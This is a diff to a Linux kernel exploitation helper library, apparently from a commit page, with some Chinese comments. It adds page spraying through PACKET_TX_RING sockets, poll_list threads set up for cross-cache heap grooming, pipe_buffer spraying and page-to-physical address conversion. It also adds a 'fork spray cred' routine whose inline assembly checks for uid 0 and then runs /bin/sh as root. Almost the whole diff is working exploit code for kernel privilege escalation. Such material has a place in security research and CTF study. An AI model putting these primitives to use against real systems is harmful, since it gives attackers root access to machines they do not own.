55 */
66int sprayfd_child [2 ];
77int sprayfd_parent [2 ];
8- int socketfds [INITIAL_PAGE_SPRAY ];
8+ int socketfds [10 * INITIAL_PAGE_SPRAY ];
99unsigned long user_cs , user_ss , user_rflags , user_sp ;
1010unsigned long long int base_addr ;
1111void * (* prepare_kernel_cred )(uint64_t )KERNCALL ;
@@ -47,12 +47,13 @@ void unshare_setup(uid_t uid, gid_t gid) {
4747 return ;
4848}
4949
50- void send_spray_cmd (enum spray_cmd cmd , int idx ) {
50+ void send_spray_cmd (enum spray_cmd cmd , int idx , uint32_t order ) {
5151 ipc_req_t req ;
5252 int32_t result ;
5353
5454 req .cmd = cmd ;
5555 req .idx = idx ;
56+ req .order = order ;
5657 write (sprayfd_child [1 ], & req , sizeof (req ));
5758 read (sprayfd_parent [0 ], & result , sizeof (result ));
5859 assert (result == idx );
@@ -84,6 +85,8 @@ int alloc_pages_via_sock(uint32_t size, uint32_t n) {
8485 req .tp_frame_size = 4096 ;
8586 req .tp_frame_nr = (req .tp_block_size * req .tp_block_nr ) / req .tp_frame_size ;
8687
88+ // printf("req.tp_block_size: %d\n", req.tp_block_size);
89+ 8790 if (setsockopt (socketfd , SOL_PACKET , PACKET_TX_RING , & req , sizeof (req )) < 0 ) {
8891 perror ("setsockopt PACKET_TX_RING failed" );
8992 exit (-1 );
@@ -98,9 +101,10 @@ void spray_comm_handler() {
98101
99102 do {
100103 read (sprayfd_child [0 ], & req , sizeof (req ));
101- assert (req .idx < INITIAL_PAGE_SPRAY );
104+ assert (req .idx < 10 * INITIAL_PAGE_SPRAY );
102105 if (req .cmd == ALLOC_PAGE ) {
103- socketfds [req .idx ] = alloc_pages_via_sock (4096 , 1 );
106+ assert (req .order < 10 );
107+ socketfds [req .idx ] = alloc_pages_via_sock (4096 * (1 << req .order ), 1 );
104108 } else if (req .cmd == FREE_PAGE ) {
105109 close (socketfds [req .idx ]);
106110 }
@@ -110,6 +114,7 @@ void spray_comm_handler() {
110114}
111115
112116static void socket_spray_example () {
117+ uint32_t order = 0 ;
113118 // for communicating with spraying in separate namespace via TX_RINGs
114119 pipe (sprayfd_child );
115120 pipe (sprayfd_parent );
@@ -122,12 +127,12 @@ static void socket_spray_example() {
122127
123128 puts ("Allocated all pages" );
124129 for (int i = 0 ; i < INITIAL_PAGE_SPRAY ; i ++ ) {
125- send_spray_cmd (ALLOC_PAGE , i );
130+ send_spray_cmd (ALLOC_PAGE , i , order );
126131 }
127132
128133 puts ("Closed all odd pages" );
129134 for (int i = 1 ; i < INITIAL_PAGE_SPRAY ; i += 2 ) {
130- send_spray_cmd (FREE_PAGE , i );
135+ send_spray_cmd (FREE_PAGE , i , 0 );
131136 }
132137
133138 // TODO: get the freed odd pages back with our struct
@@ -138,7 +143,7 @@ static void socket_spray_example() {
138143
139144 puts ("Closed all even pages" );
140145 for (int i = 0 ; i < INITIAL_PAGE_SPRAY ; i += 2 ) {
141- send_spray_cmd (FREE_PAGE , i );
146+ send_spray_cmd (FREE_PAGE , i , 0 );
142147 }
143148}
144149
@@ -480,6 +485,50 @@ void create_poll_thread(int id, size_t size, int timeout) {
480485 pthread_create (& poll_tid [id ], 0 , alloc_poll_list , (void * )args );
481486}
482487
488+ void * alloc_poll_list_for_crosscache (void * args ) {
489+ struct pollfd * pfds ;
490+ int nfds , timeout , id , watch_fd ;
491+ 492+ id = ((struct t_args * )args )-> id ;
493+ nfds = ((struct t_args * )args )-> nfds ;
494+ timeout = ((struct t_args * )args )-> timeout ;
495+ watch_fd = ((struct t_args * )args )-> watch_fd ;
496+ 497+ pfds = calloc (nfds , sizeof (struct pollfd ));
498+ 499+ for (int i = 0 ; i < nfds ; i ++ ) {
500+ pfds [i ].fd = watch_fd ;
501+ pfds [i ].events = POLLERR ;
502+ }
503+ 504+ assign_thread_to_core (0 );
505+ 506+ pthread_mutex_lock (& mutex );
507+ poll_threads ++ ;
508+ pthread_mutex_unlock (& mutex );
509+ 510+ sleep (6 );
511+ 512+ printf ("[Thread %d] Start polling...\n" , id );
513+ int ret = poll (pfds , nfds , timeout );
514+ printf ("[Thread %d] Polling complete: %d!\n" , id , ret );
515+ }
516+ 517+ void create_poll_thread_for_crosscache (int id , size_t size , int timeout ) {
518+ struct t_args * args ;
519+ 520+ args = calloc (1 , sizeof (struct t_args ));
521+ 522+ if (size > PAGE_SIZE ) size = size - ((size / PAGE_SIZE ) * sizeof (struct poll_list ));
523+ 524+ args -> id = id ;
525+ args -> nfds = NFDS (size );
526+ args -> timeout = timeout ;
527+ args -> watch_fd = poll_watch_fd ;
528+ 529+ pthread_create (& poll_tid [id ], 0 , alloc_poll_list_for_crosscache , (void * )args );
530+ }
531+ 483532void join_poll_threads (void ) {
484533 for (int i = 0 ; i < poll_threads ; i ++ ) pthread_join (poll_tid [i ], NULL );
485534
@@ -534,4 +583,155 @@ void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t use
534583 sendmsg_msgs [i ].msg_namelen = sizeof (socket_addr );
535584 register_userfault (sendmsg_mmaped_addrs [i ] + 0x1000 , PAGE_SIZE , (uint64_t )userfault_handler );
536585 }
586+ }
587+ 588+ 589+ /**
590+ * @brief pipe_buffer 相关
591+ *
592+ */
593+ 594+ 595+ 596+ int pipefds [PIPE_SPRAY_NUM ][2 ];
597+ 598+ void extend_pipe_buffer (int idx , size_t size ) {
599+ int ret = fcntl (pipefds [idx ][1 ], F_SETPIPE_SZ , size );
600+ if (ret < 0 ) {
601+ perror ("[X] fcntl" );
602+ exit (1 );
603+ }
604+ }
605+ 606+ void spray_pipe () {
607+ for (int i = 0 ; i < PIPE_SPRAY_NUM ; i ++ ) {
608+ if (pipe (pipefds [i ]) < 0 ) {
609+ perror ("[X] pipe" );
610+ exit (1 );
611+ }
612+ }
613+ }
614+ 615+ /**
616+ * @brief convert page to physic address
617+ *
618+ */
619+ 620+ uint64_t virtual_base = 0xffff888000000000 ;
621+ uint64_t vmemmap_base = 0xffffea0000000000 ;
622+ 623+ uint64_t page_to_virtual (uint64_t page ) {
624+ uint64_t page_cnt = (page - vmemmap_base ) / 0x40 ;
625+ uint64_t virtual_addr = virtual_base + page_cnt * 0x1000 ;
626+ return virtual_addr ;
627+ }
628+ 629+ uint64_t page_to_physic (uint64_t page ) {
630+ return page_to_virtual (page ) - virtual_base ;
631+ }
632+ 633+ 634+ /**
635+ * @brief fork spray cred 相关
636+ *
637+ */
638+ 639+ __attribute__((naked )) pid_t __clone (uint64_t flags , void * dest )
640+ {
641+ __asm__ __volatile__(
642+ ".intel_syntax noprefix;\n"
643+ "mov r15, rsi;\n"
644+ "xor rsi, rsi;\n"
645+ "xor rdx, rdx;\n"
646+ "xor r10, r10;\n"
647+ "xor r9, r9;\n"
648+ "mov rax, 56;\n"
649+ "syscall;\n"
650+ "cmp rax, 0;\n"
651+ "jl bad_end;\n"
652+ "jg good_end;\n"
653+ "jmp r15;\n"
654+ "bad_end:\n"
655+ "neg rax;\n"
656+ "ret;\n"
657+ "good_end:\n"
658+ "ret;\n"
659+ ".att_syntax prefix;\n"
660+ );
661+ }
662+ 663+ int rootfd [2 ];
664+ struct timespec timer = {.tv_sec = 1000000000 , .tv_nsec = 0 };
665+ char throwaway ;
666+ char root [] = "root\n" ;
667+ char binsh [] = "/bin/sh\x00" ;
668+ char * args [] = {"/bin/sh" , NULL };
669+ 670+ __attribute__((naked )) void check_and_wait ()
671+ {
672+ __asm__ __volatile__(
673+ ".intel_syntax noprefix;\n"
674+ "lea rax, [rootfd];\n"
675+ "mov edi, dword ptr [rax];\n"
676+ "lea rsi, [throwaway];\n"
677+ "mov rdx, 1;\n"
678+ "xor rax, rax;\n"
679+ "syscall;\n"
680+ "mov rax, 102;\n"
681+ "syscall;\n"
682+ "cmp rax, 0;\n"
683+ "jne finish;\n"
684+ "mov rdi, 1;\n"
685+ "lea rsi, [root];\n"
686+ "mov rdx, 5;\n"
687+ "mov rax, 1;\n"
688+ "syscall;\n"
689+ "lea rdi, [binsh];\n"
690+ "lea rsi, [args];\n"
691+ "xor rdx, rdx;\n"
692+ "mov rax, 59;\n"
693+ "syscall;\n"
694+ "finish:\n"
695+ "lea rdi, [timer];\n"
696+ "xor rsi, rsi;\n"
697+ "mov rax, 35;\n"
698+ "syscall;\n"
699+ "ret;\n"
700+ ".att_syntax prefix;\n"
701+ );
702+ }
703+ 704+ int just_wait ()
705+ {
706+ sleep (1000000000 );
707+ }
708+ 709+ void fork_spray_cred_example () {
710+ pipe (rootfd );
711+ 712+ for (int i = 0 ; i < 0x20 ; i ++ ) {
713+ pid_t result = fork ();
714+ if (!result )
715+ {
716+ just_wait ();
717+ }
718+ if (result < 0 )
719+ {
720+ puts ("fork limit" );
721+ exit (-1 );
722+ }
723+ }
724+ 725+ // TODO: 页风水布局
726+ 727+ for (int i = 0 ; i < 0x40 ; i ++ )
728+ {
729+ pid_t result = __clone (CLONE_FLAGS , & check_and_wait );
730+ if (result < 0 )
731+ {
732+ perror ("clone error" );
733+ exit (-1 );
734+ }
735+ }
736+ 537737}
0 commit comments